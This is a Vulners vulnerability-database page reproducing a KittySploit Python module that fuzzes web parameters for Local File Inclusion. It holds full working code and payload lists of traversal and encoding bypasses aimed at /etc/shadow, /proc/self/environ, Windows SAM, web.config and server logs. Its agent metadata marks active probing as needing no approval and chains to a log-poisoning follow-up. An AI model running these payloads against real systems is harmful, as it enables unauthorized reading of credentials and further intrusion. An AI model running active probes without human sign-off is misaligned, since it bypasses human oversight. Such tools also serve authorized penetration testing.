Lucene search
+L

LFI Fuzzer

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

LFI Fuzzer fuzzes for Local File Inclusion vulnerabilities using various bypass techniques.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
from lib.scanner.http.module_result import finalize_http_scanner_run, target_base_url
from lib.protocols.http.http_client import Http_client
import os
import re
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock as ThreadLock
from urllib.parse import parse_qsl, urlencode, urlparse

class Module(Auxiliary, Http_client):


    __info__ = {
        'name': 'LFI Fuzzer',
        'description': 'Fuzzing module for Local File Inclusion vulnerabilities. Tests various LFI bypass techniques and payloads.',
        'author': 'KittySploit Team',
        'tags': ['web', 'lfi', 'fuzzing', 'scanner'],
        'references': [
            'https://owasp.org/www-community/vulnerabilities/Path_Traversal',
            'https://portswigger.net/web-security/file-path-traversal'
        ],
    'agent': {
        'risk': 'active',
        'effects': ['network_probe'],
        'expected_requests': 2,
        'reversible': True,
        'approval_required': False,
        'produces': ['tech_hints', 'risk_signals', 'endpoints', 'params'],
        'chain': {
            'produces_capabilities': [{'capability': 'lfi_param', 'from_detail': 'lfi_param'}, {'capability': 'log_file_path', 'from_detail': 'log_path'}],
            'suggested_followups': ['auxiliary/scanner/http/lfi_log_poison'],
        },
    },
    }

    target = OptString("", "Target URL with LFI parameter (e.g., http://target.com/page.php?file=)", required=True)
    parameter = OptString("file", "Parameter name to fuzz (e.g., file, page, include)", required=False)
    wordlist = OptString("", "Custom wordlist file path (one path per line, optional)", required=False)
    threads = OptInteger(5, "Number of concurrent workers for payload requests", required=False)
    timeout = OptInteger(10, "Request timeout in seconds", required=False)
    delay = OptInteger(1, "Extra delay between scheduler batches (ms, 0=none)", required=False)
    baseline_diff = OptBool(
        True,
        "Compare probe vs benign baseline to reduce false positives (recommended)",
        required=False,
    )
    benign_value = OptString(
        "index.html",
        "Benign parameter value used for baseline request when baseline_diff is enabled",
        required=False,
    )

    BASE_PAYLOADS = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/etc/issue",
        "/proc/version",
        "/proc/cmdline",
        "/proc/mounts",
        "/proc/net/arp",
        "/proc/self/environ",
        "/var/log/apache2/access.log",
        "/var/log/apache2/error.log",
        "/var/log/auth.log",
        "/var/log/nginx/access.log",
        "/var/log/nginx/error.log",
        "/var/log/vsftpd.log",
        "/var/log/sshd.log",
        "/var/log/mail.log",
        "/var/log/syslog",
        "/etc/passwd%00",
        "/etc/passwd\x00",
        "....//....//....//etc/passwd",
        "....\\\\....\\\\....\\\\etc\\\\passwd",
        "..%2F..%2F..%2Fetc%2Fpasswd",
        "..%252F..%252F..%252Fetc%252Fpasswd",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd",
        "..%c0%af..%c0%af..%c0%afetc%c0%afpasswd",
        "..%c1%9c..%c1%9c..%c1%9cetc%c1%9cpasswd",
    ]

    BYPASS_TECHNIQUES = [
        "",
        "../",
        "..\\",
        "..%2F",
        "..%252F",
        "..%c0%af",
        "..%c1%9c",
        "....//",
        "....\\\\",
        "%2e%2e%2f",
        "%252e%252e%252f",
        "..;/",
        "..%3B/",
    ]

    WINDOWS_FILES = [
        "C:\\Windows\\System32\\drivers\\etc\\hosts",
        "C:\\Windows\\win.ini",
        "C:\\Windows\\System32\\config\\SAM",
        "C:\\boot.ini",
        "C:\\Windows\\repair\\SAM",
        "C:\\Windows\\System32\\config\\system",
        "C:\\inetpub\\wwwroot\\web.config",
        "C:\\Windows\\System32\\inetsrv\\MetaBase.xml",
    ]

    LINUX_FILES = [
        "/etc/passwd",
        "/etc/shadow",
        "/etc/hosts",
        "/etc/issue",
        "/etc/motd",
        "/etc/group",
        "/etc/resolv.conf",
        "/etc/network/interfaces",
        "/proc/version",
        "/proc/cmdline",
        "/proc/mounts",
        "/proc/net/arp",
        "/proc/self/environ",
        "/proc/self/cmdline",
        "/proc/self/status",
        "/proc/self/fd/0",
        "/proc/self/fd/1",
        "/proc/self/fd/2",
    ]

    LOG_FILES = [
        "/var/log/apache2/access.log",
        "/var/log/apache2/error.log",
        "/var/log/nginx/access.log",
        "/var/log/nginx/error.log",
        "/var/log/auth.log",
        "/var/log/vsftpd.log",
        "/var/log/sshd.log",
        "/var/log/mail.log",
        "/var/log/syslog",
        "/var/log/messages",
        "/var/log/secure",
        "/usr/local/apache/logs/access_log",
        "/usr/local/apache/logs/error_log",
    ]

    SUCCESS_INDICATORS = [
        'root:x:0:0',
        'daemon:',
        'bin/bash',
        'Linux version',
        'BOOT_IMAGE',
        'HTTP_USER_AGENT',
        'DOCUMENT_ROOT',
        'SERVER_SOFTWARE',
        'Apache/',
        'nginx/',
        'GET /',
        'POST /',
    ]

    ERROR_INDICATORS = [
        '404 Not Found',
        'File not found',
        'Access Denied',
        'Permission denied',
        'Internal Server Error',
        'Error 500',
    ]

    _print_lock = ThreadLock()

    @staticmethod
    def _opt_val(opt, default=None):
        if opt is None:
            return default
        if hasattr(opt, "value"):
            return opt.value
        return opt

    def _parse_lfi_target(self):
        raw = (self._opt_val(self.target) or "").strip()
        if not raw:
            raise ValueError("Target URL is required")
        if not re.match(r"^[a-zA-Z][a-zA-Z0-9+.-]*://", raw):
            raw = f"http://{raw}"
        parsed = urlparse(raw)
        host = parsed.hostname or ""
        if not host:
            raise ValueError("Invalid target URL (no host)")
        port = parsed.port or (443 if parsed.scheme == "https" else 80)
        ssl = parsed.scheme.lower() == "https"
        base_path = parsed.path or "/"
        if not base_path.startswith("/"):
            base_path = f"/{base_path}"
        params = dict(parse_qsl(parsed.query, keep_blank_values=True))
        return host, port, ssl, base_path, params

    def _apply_http_client_target(self):
        host, port, ssl, base_path, params = self._parse_lfi_target()
        if hasattr(self, "set_option"):
            self.set_option("target", host)
            self.set_option("port", int(port))
            self.set_option("ssl", ssl)
        else:
            self.target = host
            self.port = int(port)
            self.ssl = ssl
        self._lfi_base_path = base_path
        self._lfi_base_params = params
        self._configure_session()

    def _param_name(self) -> str:
        return (self._opt_val(self.parameter) or "file").strip() or "file"

    def _build_request_path(self, payload: str) -> str:
        params = dict(self._lfi_base_params)
        params[self._param_name()] = payload
        query = urlencode(params, doseq=True)
        path = self._lfi_base_path
        return f"{path}?{query}" if query else path

    def _load_wordlist_paths(self) -> list:
        wl = (self._opt_val(self.wordlist) or "").strip()
        if not wl:
            return []
        path = os.path.expanduser(wl)
        if not os.path.isfile(path):
            print_error(f"Wordlist not found: {path}")
            return []
        out = []
        with open(path, "r", encoding="utf-8", errors="replace") as handle:
            for line in handle:
                line = line.strip()
                if line and not line.startswith("#"):
                    out.append(line)
        return out

    def check(self):
        if not self._opt_val(self.target):
            print_error("Target URL is required")
            return False
        print_info(f"Checking target: {self._opt_val(self.target)}")
        try:
            self._apply_http_client_target()
            path = self._lfi_base_path.split("?")[0] or "/"
            response = self.http_request(method="GET", path=path)
            if response:
                print_success(f"Target is reachable (Status: {response.status_code})")
                return True
            print_error("Target is not reachable")
            return False
        except Exception as exc:
            print_error(f"Error checking target: {exc}")
            return False

    def generate_payloads(self):
        payloads = list(self.BASE_PAYLOADS)
        payloads.extend(self._load_wordlist_paths())

        test_files = self.LINUX_FILES + self.LOG_FILES
        for bypass in self.BYPASS_TECHNIQUES:
            for file_path in test_files[:12]:
                if bypass:
                    filename = file_path.split("/")[-1] or file_path.split("\\")[-1]
                    payloads.append(f"{bypass}{filename}")
                else:
                    payloads.append(file_path)

        for file_path in self.LINUX_FILES[:5]:
            encoded = file_path.replace("/", "%252F")
            payloads.append(encoded)
            unicode_encoded = file_path.replace("../", "..%c0%af")
            payloads.append(unicode_encoded)

        for wpath in self.WINDOWS_FILES[:6]:
            payloads.append(wpath)

        seen = set()
        ordered = []
        for p in payloads:
            if p not in seen:
                seen.add(p)
                ordered.append(p)
        return ordered

    @staticmethod
    def _body_fingerprint(text: str) -> tuple:
        if not text:
            return 0, ""
        t = re.sub(r"\s+", " ", text.lower())[:8000]
        return len(text), t

    def _baseline_diff_ok(self, baseline_text: str, probe_text: str, indicator: str) -> bool:
        if not self._opt_val(self.baseline_diff, True):
            return True
        bl = (baseline_text or "").lower()
        pl = (probe_text or "").lower()
        ind_l = indicator.lower()
        if ind_l in bl:
            return False
        lb_len, lb_fp = self._body_fingerprint(baseline_text or "")
        pr_len, pr_fp = self._body_fingerprint(probe_text or "")
        if lb_len > 200 and pr_len > 200:
            prefix = min(len(lb_fp), len(pr_fp), 2000)
            if prefix > 0 and lb_fp[:prefix] == pr_fp[:prefix] and abs(pr_len - lb_len) < max(120, int(lb_len * 0.04)):
                return False
        if ind_l not in pl:
            return False
        return True

    def test_payload(self, payload: str, baseline_body: str = ""):
        try:
            path = self._build_request_path(payload)
            response = self.http_request(method="GET", path=path, allow_redirects=True)
            if not response:
                return None
            return self.analyze_response(response, payload, baseline_body)
        except Exception as exc:
            print_debug(f"Error testing payload {payload!r}: {exc}")
            return None

    def analyze_response(self, response, payload: str, baseline_body: str = ""):
        content = response.text if hasattr(response, "text") else str(response.content)
        status_code = response.status_code if hasattr(response, "status_code") else 0

        for indicator in self.SUCCESS_INDICATORS:
            if indicator.lower() in content.lower():
                is_error = any(err.lower() in content.lower() for err in self.ERROR_INDICATORS)
                if is_error or len(content) < 50:
                    continue
                if not self._baseline_diff_ok(baseline_body, content, indicator):
                    continue
                return {
                    "vulnerable": True,
                    "payload": payload,
                    "status_code": status_code,
                    "indicator": indicator,
                    "content_length": len(content),
                    "content_preview": content[:200],
                }

        return {
            "vulnerable": False,
            "payload": payload,
            "status_code": status_code,
            "content_length": len(content),
        }

    def _fetch_baseline_body(self) -> str:
        benign = (self._opt_val(self.benign_value) or "index.html").strip() or "index.html"
        try:
            path = self._build_request_path(benign)
            r = self.http_request(method="GET", path=path, allow_redirects=True)
            if r and hasattr(r, "text"):
                return r.text or ""
        except Exception:
            pass
        return ""

    def run(self):
        self.vulnerable_params = []
        self.successful_payloads = []

        if not self._opt_val(self.target):
            print_error("Target URL is required")
            return False

        self._apply_http_client_target()

        print_status("Starting LFI fuzzing...")
        print_info(f"Target: {self._opt_val(self.target)}")
        print_info(f"Parameter: {self._param_name()}")
        print_info(f"Threads: {self._opt_val(self.threads, 5)}")
        print_info(f"Baseline diff: {self._opt_val(self.baseline_diff, True)}")
        wl = (self._opt_val(self.wordlist) or "").strip()
        if wl:
            print_info(f"Wordlist: {wl}")

        baseline_body = ""
        if self._opt_val(self.baseline_diff, True):
            print_status("Fetching benign baseline response...")
            baseline_body = self._fetch_baseline_body()
            print_info(f"Baseline body length: {len(baseline_body)} bytes")

        payloads = self.generate_payloads()
        print_status(f"Total payloads queued: {len(payloads)}")
        print_info("")

        workers = max(1, int(self._opt_val(self.threads, 5) or 5))
        extra_delay_ms = int(self._opt_val(self.delay, 0) or 0)
        tested = 0
        vulnerable_count = 0

        batch = max(workers * 4, 32)
        idx = 0
        while idx < len(payloads):
            chunk = payloads[idx : idx + batch]
            idx += batch
            with ThreadPoolExecutor(max_workers=workers) as executor:
                futures = {executor.submit(self.test_payload, pl, baseline_body): pl for pl in chunk}
                for fut in as_completed(futures):
                    pl = futures[fut]
                    tested += 1
                    try:
                        result = fut.result()
                    except Exception as exc:
                        with self._print_lock:
                            print_debug(f"[{tested}/{len(payloads)}] {pl[:48]!r} failed: {exc}")
                        continue
                    if tested % 25 == 0 or (result and result.get("vulnerable")):
                        with self._print_lock:
                            print_info(f"[{tested}/{len(payloads)}] last: {pl[:60]!r}...")
                    if result and result.get("vulnerable"):
                        vulnerable_count += 1
                        with self._print_lock:
                            print_success(f"\n[!] VULNERABLE: {pl}")
                            print_info(f"    Status: {result.get('status_code')}")
                            print_info(f"    Indicator: {result.get('indicator')}")
                            print_info(f"    Content length: {result.get('content_length')} bytes")
                            print_info(f"    Preview: {result.get('content_preview', '')[:100]}...")
                            print_info("")
                        self.successful_payloads.append(result)
                        self.vulnerable_params.append(
                            {"parameter": self._param_name(), "payload": pl, "result": result}
                        )
            if extra_delay_ms > 0:
                time.sleep(extra_delay_ms / 1000.0)

        print_info("")
        print_status("=" * 60)
        print_status("Fuzzing completed!")
        print_status(f"Total payloads tested: {tested}")
        print_status(f"Vulnerable payloads found: {vulnerable_count}")
        print_status("=" * 60)

        if self.successful_payloads:
            print_success("\nVulnerable payloads:")
            for i, result in enumerate(self.successful_payloads, 1):
                print_info(f"  {i}. {result.get('payload')}")
                print_info(f"     Indicator: {result.get('indicator')}")
        chain_extra = {}
        if self.successful_payloads:
            first = self.successful_payloads[0]
            param = self._param_name()
            chain_extra = {
                "lfi_param": param,
                "lfi_path": str(first.get("payload") or "")[:512],
                "parameter": param,
            }
            payload = str(first.get("payload") or "")
            if "access.log" in payload or "error.log" in payload:
                chain_extra["log_path"] = payload[:512]
        return finalize_http_scanner_run(
            self,
            self.successful_payloads,
            title="Local File Inclusion",
            severity="high",
            category="lfi",
            findings_key="lfi_findings",
            hit_mapper=lambda hit: {
                "payload": hit.get("payload"),
                "parameter": self._param_name(),
                "method": "GET",
                "request_url": target_base_url(self),
                "status_code": hit.get("status_code"),
                "evidence_snippet": hit.get("content_preview") or hit.get("indicator"),
                "indicators": [hit.get("indicator")] if hit.get("indicator") else [],
            },
            vulnerability_info_extra=chain_extra,
        )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Aug 2026 13:34Current
5.8Medium risk
Vulners AI Score5.8
1